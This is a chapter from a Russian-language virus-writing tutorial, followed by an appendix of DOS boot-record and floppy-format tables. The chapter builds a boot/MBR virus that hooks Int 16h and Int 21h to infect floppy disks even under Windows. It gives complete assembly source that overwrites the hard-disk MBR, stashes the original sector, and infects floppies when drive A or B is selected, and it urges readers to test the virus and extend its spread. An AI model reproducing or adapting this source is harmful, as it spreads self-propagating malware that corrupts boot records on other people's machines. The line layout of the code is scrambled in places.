ГЛАВА 6 . ЕЩЕ ОДИН BOOT - ВИРУС
6.1 Краткие итоги предыдущей главы
Итак, продолжим. Наша цель - написать загрузочный
вирус,который смог бы заражать дискеты даже из под
WINDOWS. Хотя сделать это очень непросто.
Если вы испытывали вирус из предыдущей главы на
своем компьютере ( не бойтесь, ничего не исрортит-
ся ), то могли обнаружить интересный эффект. Пусть
при загрузке машины сначала загружается VC.COM или
NC.EXE, а в WINDOWS вы
переходите,нажав " F10 " и
выйдя из оболочки. Очень часто так это и бывает -
перечисленные оболочки настолько удачны, что от-
казаться от них почти невозможно, даже в пользу
очень неплохого FARа.Так вот,при работе в оболочке
вирус отлично заражает дискеты. Теперь нажмите
" F10 " и перейдите в WINDOWS. А теперь из - под
WINDOWS снова запустите VC. Как это ни странно,наш
вирус перестал работать. Он не заражает дискеты, а
просто сидит в памяти. Снова
вызвать его к жизни
можно, лишь перезагрузив
компьютер. Даже обидно.Но
настоящие " вирусмейкеры " так просто не сдаются.
Поэтому, утопив эту небольшую неудачу в большом
количестве водки,примемся за дело.
6.2 Объясняем полученные результаты
С целью найти причины описанного явления
я провел
не один десяток экспериментов, и
наконец, получил
некоторые результаты.Как вы помните, наш вирус си-
дит на Int 13h. Таким образом, он получит управле-
ние только при вызове этого прерывания. Оказалось,
что при записи или чтении дискет при работе в WIN-
DOWS Int 13h вообще не вызывается. Вместо этого
операционная система
обращается к диску " мимо "
прерывания, взаимодействуя непосредственно с кон-
троллером гибких дисков.Поэтому наш вирус и не за-
ражает дискеты.
***
Следует
заметить, что при работе с жестким дис-
ком
WINDOWS все же вызывает Int 13h, что следу-
ет из
проведенных автором экспериментов.
***
Таким образом, с помощью старых методов эту задачу
решить, скорее всего, не удастся. Необходим совер-
шенно новый подход. Но об этом - в следующем пунк-
те.
6.3
Разрабатываем новый алгоритм активизации
Легче всего сказать, что подход должен быть новым.
Труднее предложить что - то по существу. Были при-
думаны несколько методик, но все они не дали поло-
жительного результата.И тут автор неожиданно полу-
чил очень своеобразное предложение- вместо Int 13h
использовать для активизации вируса Int 21h. В са-
мом деле, почему бы нам не
перехватить Int 21h, и
не попробовать проследить за сменой текущего диска
(функция 0Eh). И как только активным станет диско-
вод " A " или " B ", заразить диск в этом дисково-
де!!! Просто и со вкусом ( идея Danny Dio, за что
ему - благодарность ). А мы продолжаем.
6.4 О перехвате Int 21h программой,
загружаемой из Master Boot Record
Дело за малым -
осталось перехватить Int 21h, и
задача решена. Но
выяснилось, что это не так про-
сто. Естественно было бы поступить так :
1. Первым делом установить вектор Int 1Ch или
Int
08h ( оба - таймер ) на собственный
обра-
ботчик.
2. Этот обработчик следит за
вектором Int 21h, и
как
только последний изменяется - перехваты-
вает
Int 21h.
3. Далее обработчик Int 1Ch
(Int 08h) " обезвре-
живает " себя в
памяти, например,
командой
"IRET", чтобы машина не зависала.
Так и было сделано, после чего началось самое ин-
тересное. Обработчик Int 21h
исправно выполнялся
несколько секунд,после чего его
бессовестно топи-
ли - то ли MSDOS.SYS, то
ли COMMAND.COM - не ва-
жно. Чтобы избавиться от этого
эффекта, я приду-
мал кучу способов - например,
ждал не первого из-
менения вектора Int 21h, а, например, третьего,
десятого и т.п. Как ни странно, ничего не получа-
лось. Единственным методом был бы такой:
1. Отловить момент, когда OC уже загружена и на-
чинают выполняться программы, записанные, на-
пример, в AUTOEXEC.BAT.
2. Перехватить Int 21h.
Проблема здесь в следующем: совершенно неясно,
как именно засечь этот замечательный момент. Кроме
того,такой метод тоже не дает стопроцентной гаран-
тии. Поэтому идею пришлось отклонить, а вместо нее
предложить алгоритм,который обсуждается в следую-
щем пункте.
6.5 О применении вектора Int 16h
Как вы, наверное, знаете, прерывание Int 16h яв-
ляется программным и вызывается, например, сис-
темным обработчиком Int 09h ( клавиатура ), а так-
же может вызываться из
программы для выполнения
некоторых действий,например, чтения символа с кла-
виатуры, получения ее флагов и т.п. При этом оно
обладает одним замечательным свойством, а именно -
пользовательский обработчик Int 16h не утапливает-
ся WINDOWS при загрузке,и вызывается даже в WORDе,
EXCELе и FARе. Так, в проведенном автором экспери-
менте, при нажатии двух SHIFTов загрузочный сектор
дискеты считывался и тут же
записывался на место.
Опытная программа загружалась из MBR и работала в
любых WINDOWS - приложениях.
Этот факт решено бы-
ло использовать для построения " непотопляемой "
процедуры обработки Int 21h. Итак, предлагаю такой
алгоритм:
1.
Установить вектор Int 16h на
вирусный обра-
ботчик.
2. Этот обработчик постоянно вызывает вирусную
процедуру Int 21h какой - нибудь экзотической
собственной функцией, типа
AX = 0BABCh.
3. Если вирусная
процедура обработки Int 21h ак-
тивна, она должна " ответить " на этот вызов
( пусть это будет AL = 98h ).
Если ответа нет, обработчик Int 21h не уста-
новлен или утоплен, поэтому
Int 21h следует
перехватить.
Не совсем просто, но тоже со вкусом.Сами проце-
дуры обработки Int 16h и Int 21h могут быть,напри-
мер, такими:
***
Текст
обработчика Int 16h:
new_16h: push ax
;Сохраним
push bx
;регистры
push dx
;в
push ds
;стеке
push es
;
pushf
;
;
mov ax,0babch
;Вызовем вирусный
int 21h
;обработчик
cmp al,98h
;Int 21h собст-
je cs:rrr_rrr
;венной функцией
;AX = 0babch.Если
;обработчик акти-
;вен, мы должны
;получить AL=98h,
;иначе Int
21h
;следует перехва-
;тить, чем мы и
;займемся:
push cs
;DS = CS
pop ds
;
;
cli
;Запретить преры-
;вания
mov ax,3521h
;Получим и сохра-
int 21h
;ним вектор
mov old_21h - 100h,bx ;Int
21h
mov old_21h_2 - 100h,es;
;
mov ax,2521h
;А теперь пере-
mov dx,to_new_21h ;ставим этот
век-
int 21h
;тор на вирусный
;обработчик
sti
;Разрешить преры-
;вания
rrr_rrr: popf
;Восстановим
pop es
;из
pop ds
;стека
pop dx
;регистры
pop bx
;
pop ax
;
;
db 0eah
;И перейдем на
old_16h dw
0
;системный обра-
old_16h_2 dw 0
;ботчик Int 16h
***
Текст
обработчика Int 21h (он отслеживает смену
оператором
текущего диска.Если текущим станови-
тся диск "A" или "B", обработчик заражает
этот
диск):
new_21h: pushf
;Этот участок
cmp ax,0babch
;обработчика
jne cs:else_func ;Int 21h
отвечает
mov al,98h
;обработчику
popf
;Int 16h значени-
iret
;ем AL = 98h; это
;служит признаком
;активности виру-
;сной
процедуры
;обработки
;Int 21h
;
else_func: popf
;Сохраним
push ax
;регистры
push bx
;в
push cx
;стеке
push dx
;
push di
;
push ds
;
push es
;
pushf
;
;
cmp ah,0eh
;Смена текущего
;диска ?
jne cs:restore_regs
;Нет - на выход
cmp
dl,1
;Да - текущим
;хотят сделать
;" A " или " B "
;дисковод ?
ja cs:restore_regs ;Нет - на выход
;Иначе - продол-
;жим :
;Далее следует " заразная " часть процедуры обра-
;ботки Int 21h :
; ...
; ...
; ...
; ...
; ...
restore_regs:
;Восстановим из
popf
;стека регистры
pop es
;
pop ds
;
pop di
;
pop dx
;
pop cx
;
pop bx
;
pop ax
;
;
db 0eah
;И перейдем на
old_21h dw
0
;системный обра-
old_21h_2 dw 0
;ботчик Int 21h
Вроде бы, все должно быть ясно.Причина, по которой
от относительных адресов
ячеек памяти отнимается
100h, описана в части 1, главе 2, пункте 2.5.
***
Кстати,использовать в данном случае Int 09h вме-
сто Int 16h
нельзя. Дело в том, что при загрузке
WINDOWS топит
все пользовательские программы,ко-
торые "
зацеплены " за этот вектор. Топится даже
великий и
могучий KEYRUS.COM,не говоря уже о на-
ших вирусах.
6.6 Общий алгоритм работы вируса
Теперь настало время создать алгоритм работы наше-
го вируса, чем мы и займемся.
Как и прежде, попав при начальной
загрузке машины
в память по адресу 0000:7C00h, вирус должен выпол-
нить такие действия:
1. Установить регистры SS и SP на собственный стек
2. " Отрезать " у системы несколько килобайтов па-
мяти ( вы
уже догадываетесь, что " несколько "-
это два?
).
3. Переписать свой код в полученную область памяти
4. Передать управление следующей секции своего ко-
да, уже
расположенной в конце основной памяти.
Эта секция, в свою очередь, должна :
1. Переопределить вектор прерывания Int 16h на ви-
русный
код.
2. Считать настоящий
загрузочный сектор в
память
по адресу
0000:7C00h.
3. Проверить, заражен - ли винчестер. Если нет, то
заразить
его MBR.
4. Передать управление настоящему загрузочному се-
ктору,
находящемуся по адресу 0000:7C00h.
Далее выполняется загрузка операционной системы.
Вирусный обработчик Int 16h,как было сказано выше,
следит за состоянием обработчика Int 21h, и пере-
хватывает это прерывание,если по какой - либо при-
чине вирусная процедура обработки Int 21h не акти-
вна. Алгоритм его работы
подробно описан в пред-
ыдущем пункте.
Как вы уже знаете," заразные " функции мы возложим
на обработчик прерывания Int
21h. О том, как это
будет реализовано, тоже было рассказано выше.
6.7 Полный текст созданного вируса
Как ни жалко,но остается только одно - " слепить "
все части нашей заразной разработки в одно целое и
привести полученный результат:
; _______________________________________________
;| |
;| The next BOOT & MBR virus
|
;| Especially for my readers !
|
;|_______________________________________________|
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
my_prg: jmp
installer
;Переход на сек-
;цию инсталляции
dw 7bfeh
;Установка соб-
;ственного стека
;
push cs
;DS = CS
pop ds
;
;
sub word ptr ds:[0413h],2
;"Отрежем" у DOS
mov ax,ds:[0413h] ;два
килобайта
mov cl,6
;памяти и вычис-
;лим
sal ax,cl
;сегментный ад-
;рес,по которому
;находится полу-
;ченный
блок
mov es,ax
;Поместим адрес
;в ES
xor si,si
;И скопируем код
mov cx,prg_lenght ;вируса
длиной
prg_copy: db 8ah
;"prg_lenght" в
db 9ch
;память по адре-
additor db
00h
;су ES : 0000h
db 7ch
;Сам код при за-
mov byte ptr es:[si],bl;грузке помещае-
inc si
;тся BIOS по ад-
loop cs:prg_copy ;ресу
0000:7C00h
;
push ax
;Запишем в стек
mov ax,to_read_boot
;адрес ES:to_re-
push ax
;ad_boot и осу-
db 0cbh
;ществим переход
;на этот адрес
to_read_boot equ $ - my_prg ;
;
read_boot: push cs
;DS = CS
pop ds
;
;
xor si,si
;SI = 0
mov es,si
;ES = SI
;
;*************************************************
mov bx,word ptr es:[58h]
;Получим вектор
mov word ptr old_16h - 100h,bx ;Int 16h и
mov bx,word ptr es:[5ah]
;сохраним
mov word ptr old_16h_2 - 100h,bx
;его
;
mov word ptr es:[58h],to_new_16h
;Установим
mov word ptr es:[5ah],cs
;вектор Int 16h
;на вирусный об-
;работчик
;
mov dx,num_head - 100h ;Считаем настоя-
mov cx,cyl_sect - 100h ;щий загрузочный
mov bx,7c00h
;сектор в память
mov ax,0201h
;по адресу
int 13h
;0000:7C00h
;
push cs
;ES = CS
pop es
;
;
mov dl,80h
;Считаем MBR
call cs:read_mbr
;винчестера
jc
cs:to_quit
;по адресу
;CS:0400h, при-
;чем загрузка
;сейчас может
;производиться
;и
с дискеты !
cmp byte ptr ds:[400h],0eh ;MBR
уже зара-
je cs:to_quit
;жена ? Да - на
;выход, иначе -
;продолжим :
mov dx,0080h
;Нулевая головка
;первого жестко-
;го диска
mov cx,000ch
;Сектор 12,
;дорожка 0.
;Сохраним эти
;параметры .
call cs:write_mbr_last ;Кроме того,
;перепишем нас-
;тоящую MBR в
;сектор 12
jc cs:to_quit
;нулевой дорожки
;на нулевой сто-
;роне HDD 1.
xor si,si
;Сформируем код
mov additor - 100h,00h ;для записи его
mov cx,prg_lenght ;
copy_vir_mbr:
;на место исход-
mov al,byte ptr ds:[si];ной MBR
mov byte ptr ds:[si + 400h],al ;
inc
si
;
loop cs:copy_vir_mbr
;
;
mov dx,0080h
;Запишем этот
call cs:write_mbr ;код в
первый
;сектор нулевой
;дорожки нулевой
;стороны винчес-
;тера
;
to_quit: db 0eah
;Отдадим упра-
dw 7c00h
;вление настоя-
dw 0000h
;щей загрузочной
;записи ( MBR )
;
;*************************************************
;
;Здесь начинается вирусный обработчик Int 16h. Наш
;вирус использует его, чтобы следить за состоянием
;вирусного обработчика Int 21h и при необходимости
;перехватывать Int 21h.
to_new_16h equ $ -
my_prg
;
;
new_16h: push ax
;Сохраним
push bx
;регистры
push dx
;в
push ds
;стеке
push es
;
pushf
;
;
mov ax,0babch
;Вызовем вирус-
int 21h
;ный обработчик
cmp al,98h
;Int 21h собст-
je cs:rrr_rrr
;венной функцией
;AX = 0babch.Ес-
;ли обработчик
;активен,мы дол-
;жны получить
;AL=98h, иначе
;Int 21h следует
;перехватить,чем
;мы и займемся:
push cs
;DS = CS
pop ds
;
;
cli
;Запретить пре-
;рывания
mov ax,3521h
;Получим и со-
int 21h
;храним вектор
mov old_21h - 100h,bx ;Int
21h
mov old_21h_2 - 100h,es;
;
mov ax,2521h
;А теперь пере-
mov dx,to_new_21h
;ставим этот ве-
int 21h
;ктор на вирус-
;ный обработчик
sti
;Разрешить пре-
;рывания
rrr_rrr: popf
;Восстановим
pop es
;из
pop ds
;стека
pop dx
;регистры
pop bx
;
pop ax
;
;
db 0eah
;И перейдем на
old_16h dw
0
;системный обра-
old_16h_2 dw 0
;ботчик Int 16h
;-------------------------------------------------
;
;Здесь начинается вирусный обработчик Int 21h. Он
;отслеживает смену оператором текущего диска. Если
;текущим становится диск " A " или " B ", обработ-
;чик заражает этот диск
to_new_21h equ $ -
my_prg
new_21h: pushf
;Этот участок
cmp ax,0babch
;обработчика
jne cs:else_func ;Int 21h
отвеча-
mov al,98h
;ет обработчику
popf
;Int 16h значе-
iret
;нием
AL = 98h;
;это служит при-
;знаком активно-
;сти обработчика
;Int 21h
;
else_func: popf
;Сохраним
push ax
;регистры
push bx
;в
push cx
;стеке
push dx
;
push di
;
push ds
;
push es
;
pushf
;
;
cmp ah,0eh
;Смена текущего
;диска
?
jne cs:to_jump
;Нет - на выход
cmp dl,1
;Да - текущим
;хотят сделать
;" A " или " B "
;дисковод
?
ja cs:to_jump
;Нет - на выход
;Иначе - продол-
;жим :
push cs
;ES = CS
pop es
;
;
push cs
;DS = CS
pop ds
;
;
mov cx,3
;Попробуем про-
next_read: push cx
;честь BOOT -
;сектор дискеты.
call cs:read_mbr ;На это
даем три
pop cx
;попытки (напри-
jnc cs:inf_check ;мер,если
двига-
;тель дисковода
;не успел разо-
;гнаться до ра-
;бочей скорости,
;то BIOS
вернет
;ошибку -дискета
;сменена ! )
xor ah,ah
;При ошибке -
int 13h
;дисковод
jc cs:to_jump ;и
повторим
loop cs:next_read ;чтение
to_jump: jmp
cs:restore_regs ;
;
;BOOT заражен ?
inf_check: cmp byte ptr ds:[455h],0eh
je cs:to_jump
;Да !
cmp word ptr ds:[40bh],200h ;512 байт
в
;секторе ?
jne cs:restore_regs
;Нет - на выход
;
mov ch,79
;Определим
mov dh,byte ptr ds:[415h]
cmp dh,0f0h
;параметры
je cs:real_80
;дискеты
cmp dh,0f9h
;по ее
je cs:real_80
;Media
cmp dh,0fdh
;Descryptor
jne cs:to_jump
;
mov ch,39
;
real_80: mov
dh,01h
;
mov cl,byte ptr ds:[418h]
;Перепишем нас-
;тоящий
BOOT в
;последний сек-
;тор последней
;дорожки на пос-
;ледней стороне
call cs:write_mbr_last ;
jc cs:to_jump
;
;
mov additor - 100h,055h;Сформируем код,
xor di,di
;который нужно
mov cx,prg_lenght ;записать на
copy_vir: mov al,byte ptr
ds:[di];дискету вместо
mov byte ptr ds:[di + 455h],al ;исходной BOOT -
inc di
;записи
loop cs:copy_vir ;
mov word ptr ds:[400h],053ebh ;
;
xor dh,dh
;И запишем его
call cs:write_mbr ;в первый
;сектор нулевой
;дорожки нулевой
;стороны дискеты
;
restore_regs:
;Восстановим из
popf
;стека регистры
pop es
;
pop ds
;
pop di
;
pop dx
;
pop cx
;
pop bx
;
pop ax
;
;
db
0eah
;И перейдем на
old_21h dw
0
;системный обра-
old_21h_2 dw 0
;ботчик Int 21h
read_mbr proc
;
xor dh,dh
;
mov ax,0201h
;Процедура
mov bx,400h
;читает первый
mov cx,01h
;сектор нулевой
int 13h
;дорожки нулевой
;стороны указан-
ret
;ного накопителя
read_mbr endp
;
;
write_mbr proc
;
mov ax,0301h
;Процедура
mov cx,01h
;помещает вирус-
int 13h
;ный код в BOOT-
;сектор дискеты
ret
;или записывает
write_mbr endp
;его вместо MBR
;винчестера
;
write_mbr_last proc
;Процедура
;переписывает
;исходную BOOT-
;запись
или MBR
;в заданный
;сектор зара-
;жаемого диска
push dx
;Если заражается
cmp dl,01h ;диск
в дисково-
jne cs:not_correct ;де "B", следует
xor dl,dl
;обнулить номер
not_correct:
;накопителя в
mov num_head - 100h,dx ;ячейке
pop dx
;"num_head",ина-
mov cyl_sect - 100h,cx ;че машина не
;будет загружа-
;ться с такого
;диска.
mov ax,0301h
;Остальное,каже-
int 13h
;тся, ясно.
ret
;
write_mbr_last endp
;
;
vir_name db ''
;Придумайте са-
;ми, но не более
;девяти байт !
num_head dw 0
;Здесь вирус
cyl_sect dw 0
;хранит номер
;головки,дорожки
;и сектора , в
;которых запи-
;сана настоящая
;загрузочная
;запись
;зараженного
;диска
prg_lenght equ $ - my_prg
;-------------------------------------------------
;
;Здесь начинается секция инсталляции вируса
installer: lea si,my_prg
;Подменим коман-
mov byte ptr [si],00eh ;ду перехода на
mov byte ptr [si + 1],017h
;первые три бай-
mov byte ptr [si + 2],0bch ;та
кода вируса
;Начало
вируса
;будет иметь
;вид : PUSH CS
;
POP SS
;MOV SP,7BFEh.
;Теперь
mov ax,0201h
;попробуем про-
mov cx,01h
;честь BOOT -
xor dx,dx
;сектор дискеты.
lea bx,bufer
;
int 13h ;
jc error
;
;
push es
;Получим пара-
mov ah,08h
;метры дискеты
xor dl,dl
;
int 13h
;
jnc all_good
;
cmp ah,01h
;
jne error
;
mov dh,01h
;
mov ch,27h
;
mov cl,byte ptr bufer [18h] ;
all_good: xor dl,dl
;
mov num_head,dx
;
mov cyl_sect,cx
;
pop es
;
;
mov ax,0301h ;Перепишем нас-
lea bx,bufer
;тоящий BOOT в
int 13h
;последний сек-
jc error
;тор последней
;дорожки на пос-
;ледней
стороне
;
mov additor,055h
;Сформируем код,
lea si,bufer + 55h ;который нужно
lea di,my_prg
;записать на
mov cx,prg_lenght ;дискету
вместо
copy_boot: mov al,byte ptr [di] ;исходной BOOT -
mov byte ptr [si],al
;записи
inc si
;
inc di
;
loop copy_boot
;
mov word ptr bufer[0],053ebh ;
;
mov ax,0301h
;И запишем его
mov cx,01h
;в первый
mov dx,0
;сектор нулевой
lea bx,bufer
;дорожки нулевой
int 13h
;стороны дискеты
jnc prg_end
;
;
error: mov
ah,09h
;Если была оши-
lea dx,err_mes
;бка - выведем
int 21h
;сообщение о ней
;
prg_end: mov
ax,4c00h
;Завершаем за-
int 21h
;пускающую про-
;грамму
err_mes db 'Error !$'
;Сообщение
bufer
db 512 dup ( 0 ) ;В этот буфер
;считывается
;BOOT - сектор
;заражаемой
;дискеты
prg ends
;Стандартное
end my_prg
;окончание ASM-
;программы ...
Как видите, вирус
является некоторой " помесью "
программы из предыдущей
главы с принципиально но-
выми фрагментами из главы, которую вы сейчас чита-
ете. Поэтому я не считаю
нужным заново объяснять
идеи,заложенные в предыдущую версию программы. Же-
лающие получить такие
объяснения могут вернуться
к предыдущей главе. Заметьте, нам опять повезло -
вирус целиком поместился
в один сектор, осталось
даже 9 свободных байт.
6.8 Испытание вируса
С методикой испытания
загрузочного вируса вы уже
знакомы. Поэтому можно сразу
переходить к самому
приятному этапу в творчестве любого создателя ви-
русов. Модель примерно такая: из - под WINDOWS за-
пустите VC, NC, Turbo Pascal или что - нибудь по-
хожее. После чего попробуйте несколько раз устано-
вить текущим один из дисководов. Понаблюдайте, как
вирус заражает дискеты и при каких условиях. Зара-
жение должно происходить обязательно.Наша предыду-
щая программа такими возможностями явно не облада-
ла.
Теперь выйдите из оболочки обратно в WINDOWS и за-
пустите, например, FAR. Вы увидите, что в FARе наш
вирус не активизируется. Не
активизируется он и в
WORDе и EXCELе. Объясняется
это просто: Эти про-
граммы являются 32 - х разрядными WINDOWS - прило-
жениями,и поэтому не могут вызывать DOSовские пре-
рывания ! Вместо этого для
смены диска, например,
вызывается SetCurrentDisk. Об этом мне поведал Eu-
gene Roshal, разработчик FARа.Хотя то, чего мы до-
бились- уже большой шаг вперед по сравнению с про-
шлой разработкой.
6.9 Вместо комментария
Наверное, следовало бы наметить пути совершенство-
вания нашей разработки. Первое, что приходит на ум
- тем или иным способом перехватить тот момент,
когда система вызывает SetCurrentDisk, если это
вообще возможно.Как это сделать - пока неясно, так
что вопрос остается
открытым.
Определенные надежды вселяет описанная выше возмо-
жность использовать для активизации вируса преры-
вание Int 16h. В самом деле, почему бы не заражать
диски, например,при каждом десятом нажатии на кла-
вишу " ALT ", " SHIFT " и т.п. ? Правда,этот метод
имеет и свои недостатки,которые делают его похожим
на обычное ламерство. Зато его очень просто реали-
зовать, и работать он будет в любом WINDOWS - при-
ложении ...
Единственное, чего делать
точно не следует - это
огорчаться по поводу не
совсем достигнутой цели.
Думаю,это дело недалекого будущего. Как сказал Мао
Цзедун, " Наш путь труден,
но перспективы - свет-
лые ! ".
ПРИЛОЖЕНИЕ 2
Формат загрузочной записи для MS DOS
различных версий
Формат BOOT - записи для версий MS DOS до 4.0
________________________________________________
|Смещение |Размер |
Содержимое
|
| ( HEX ) |( DEC )|
|
|---------|-------|------------------------------|
|00h
|03
|Команда EB xx 90 перехода на
|
| | |программу
начальной загрузки |
|---------|-------|------------------------------|
|03h
|08
|Название фирмы - производителя|
|
|
|и номер операционной системы
|
|---------|-------|------------------------------|
|0Bh
|13 |Блок
параметров BIOS ( BPB ) |
|---------|-------|------------------------------|
|18h
|02
|Количество секторов на дорожке|
|---------|-------|------------------------------|
|1Ah
|02
|Количество поверхностей диска |
|---------|-------|------------------------------|
|1Ch
|02
|Количество скрытых секторов,
|
|
|
|которые иногда используются
|
|
|
|для разбиения диска на разделы|
|---------|-------|------------------------------|
|1Eh
|480 |Программа
начальной загрузки, |
|
|
|называемая загрузочной записью|
|
|
|(Boot Record).
|
|---------|-------|------------------------------|
|1FEh
|02 |Код :
55 AA
|
|_________|_______|______________________________|
Формат BOOT - записи для версии MS DOS 4.0
________________________________________________
|Смещение |Размер |
Содержимое
|
| ( HEX ) |( DEC )|
|
|---------|-------|------------------------------|
|00h
|03
|Команда EB xx 90 перехода на
|
|
|
|программу начальной загрузки
|
|---------|-------|------------------------------|
|03h
|08
|Название фирмы - производителя|
|
|
|и номер операционной системы
|
|---------|-------|------------------------------|
|0Bh
|25
|Расширенный блок параметров
|
|
|
|BIOS ( EBPB )
|
|---------|-------|------------------------------|
|24h
|01
|Физический номер дисковода |
|
|
|( 00h - для дискетного диско- |
|
|
|вода, 80h - для винчестера )
|
|---------|-------|------------------------------|
|25h
|01
|Зарезервировано
|
|---------|-------|------------------------------|
|26h
|01
|Символ " ) " - признак расши- |
| | |ренной
загрузочной записи
|
|
|
|MS DOS 4.0
|
|_________|_______|______________________________|
|27h
|04
|Серийный номер диска,создается|
|
|
|во время его форматирования
|
|---------|-------|------------------------------|
|2Bh
|11 |Метка
( Volume Label ) диска, |
|
|
|задается во время его форма-
|
|
|
|тирования
|
|---------|-------|------------------------------|
|36h
|08
|Обычно содержит запись типа
|
|
|
|" FAT 12 " или аналогичную |
|_________|_______|______________________________|
|3Eh
|448 |Программа
начальной загрузки, |
| |
|называемая загрузочной записью|
|
|
|(Boot Record).
|
|---------|-------|------------------------------|
|1FEh
|02 |Код :
55 AA
|
|_________|_______|______________________________|
Формат Master Boot Record ( MBR ) - главной
загрузочной записи жесткого диска
________________________________________________
|Смещение |Размер |
Содержимое
|
| ( HEX ) |( DEC )|
|
|---------|-------|------------------------------|
|00h
|446 |Программа,
называемая
|
|
|
|главной загрузочной записью
|
|
|
|(MBR, или Master Boot Record).|
|---------|-------|------------------------------|
|1BEh
|16
|Элемент таблицы разделов диска|
|---------|-------|------------------------------|
|1CEh
|16
|Элемент таблицы разделов диска|
|---------|-------|------------------------------|
|1DEh
|16
|Элемент таблицы разделов диска|
|---------|-------|------------------------------|
|1EEh
|16
|Элемент таблицы разделов диска|
|---------|-------|------------------------------|
|1FEh
|02 |Код :
55 AA
|
|_________|_______|______________________________|
Формат BPB для версий MS DOS до 4.0
________________________________________________
|Смещение |Размер |
Содержимое
|
| ( HEX ) |( DEC )|
|
|---------|-------|------------------------------|
|00h
|02
|Количество байтов
|
|
|
|в одном секторе диска
|
|---------|-------|------------------------------|
|02h
|01 |Количество
секторов
|
|
|
|в одном кластере
|
|---------|-------|------------------------------|
|03h
|02
|Количество зарезервированных
|
|
|
|секторов
|
|---------|-------|------------------------------|
|05h
|01
|Количество копий FAT
|
|---------|-------|------------------------------|
|06h
|02
|Максимальное количество дес-
|
|
|
|крипторов файлов, содержащихся|
|
|
|в корневом каталоге диска |
|---------|-------|------------------------------|
|08h
|02 |Общее
количество секторов на |
|
|
|носителе данных в разделе DOS |
|_________|_______|______________________________|
|0Ah
|01 |Байт
- описатель среды носи- |
|
|
|теля данных
|
|---------|-------|------------------------------|
|0Bh
|02
|Количество секторов,занимаемых|
|
|
|одной копией FAT
|
|_________|_______|______________________________|
Формат EBPB
________________________________________________
|Смещение |Размер |
Содержимое
|
| ( HEX ) |( DEC )|
|
|---------|-------|------------------------------|
|00h
|02
|Количество байтов
|
|
|
|в одном секторе диска
|
|---------|-------|------------------------------|
|02h
|01
|Количество секторов
|
|
|
|в одном кластере
|
|---------|-------|------------------------------|
|03h
|02
|Количество зарезервированных
|
|
|
|секторов |
|---------|-------|------------------------------|
|05h
|01
|Количество копий FAT
|
|---------|-------|------------------------------|
|06h
|02
|Максимальное количество дес-
|
|
| |крипторов
файлов, содержащихся|
|
|
|в корневом каталоге диска |
|---------|-------|------------------------------|
|08h
|02 |Общее
количество секторов на |
|
|
|носителе данных в разделе DOS |
|_________|_______|______________________________|
|0Ah
|01 |Байт
- описатель среды носи- |
|
|
|теля данных
|
|---------|-------|------------------------------|
|0Bh
|02
|Количество секторов,занимаемых|
|
|
|одной копией FAT
|
|_________|_______|______________________________|
|0Dh
|02
|Количество секторов
|
|
|
|на дорожке
|
|---------|-------|------------------------------|
|0Fh
|02
|Количество головок накопителя |
|---------|-------|------------------------------|
|11h
|02
|Количество скрытых секторов
|
|
|
|для раздела,который по размеру|
|
|
|меньше 32 - х Мегабайт
|
|---------|-------|------------------------------|
|13h
|02
|Количество скрытых секторов
|
|
|
|для раздела,который по размеру|
|
|
|превышает 32 Мегабайта
|
|
|
|( Используется только в |
|
|
|MS DOS 4.0 )
|
|---------|-------|------------------------------|
|15h
|04 |Общее
количество секторов на |
| |
|логическом диске для раздела, |
|
|
|который по размеру превышает
|
|
|
|32 Мегабайта
|
|_________|_______|______________________________|
Параметры дискет различных типов
( В таблицу не вошли данные о совсем старых диске-
тах с объемом 320 Kb, 180 Kb, 120 Kb и других ) :
________________________________________________
|Диаметр | | | | |
|
|диска |
3.5" | 3.5" | 3.5" | 5.25" | 5.25 " |
|----------|------|------|------|-------|--------|
|Емкость | | | | |
|
|диска, Kb | 2880 | 1440 | 720
| 1200 | 360 |
|----------|------|------|------|-------|--------|
|Media
|
| | | |
|
|Descryptor| F0h | F0h | F9h | F9h | FDh |
|----------|------|------|------|-------|--------|
|Количество| | | | |
|
|сторон | 2 | 2 | 2 | 2 | 2 |
|----------|------|------|------|-------|--------|
|Количество| | | | |
|
|дорожек | 80 | 80 | 80 | 80 | 40 |
|на стороне| | | | |
|
|----------|------|------|------|-------|--------|
|Количество| | | | |
|
|секторов | 36 | 18 | 9 | 15 | 9 |
|на дорожке| | | | |
|
|----------|------|------|------|-------|--------|
|Размер | | | | |
|
|сектора | 512 | 512 | 512 | 512 | 512 |
|----------|------|------|------|-------|--------|
|Количество| | | | |
|
|секторов | 2 | 1 | 2 | 1 | 2 |
|в кластере| | | | |
|
|----------|------|------|------|-------|--------|
|Длина FAT | | | | |
|
|в секторах| 9 |
9 | 3 | 7 | 2 |
|----------|------|------|------|-------|--------|
|Количество| | | | |
|
|копий FAT | 2 |
2 | 2 | 2 | 2 |
|----------|------|------|------|-------|--------|
|Длина
|
|
|
|
|
|
|корневого |
| | | |
|
|каталога | 15 | 14 | 7 | 14 | 7 |
|в секторах| | | | |
|
|__________|______|______|______|_______|________|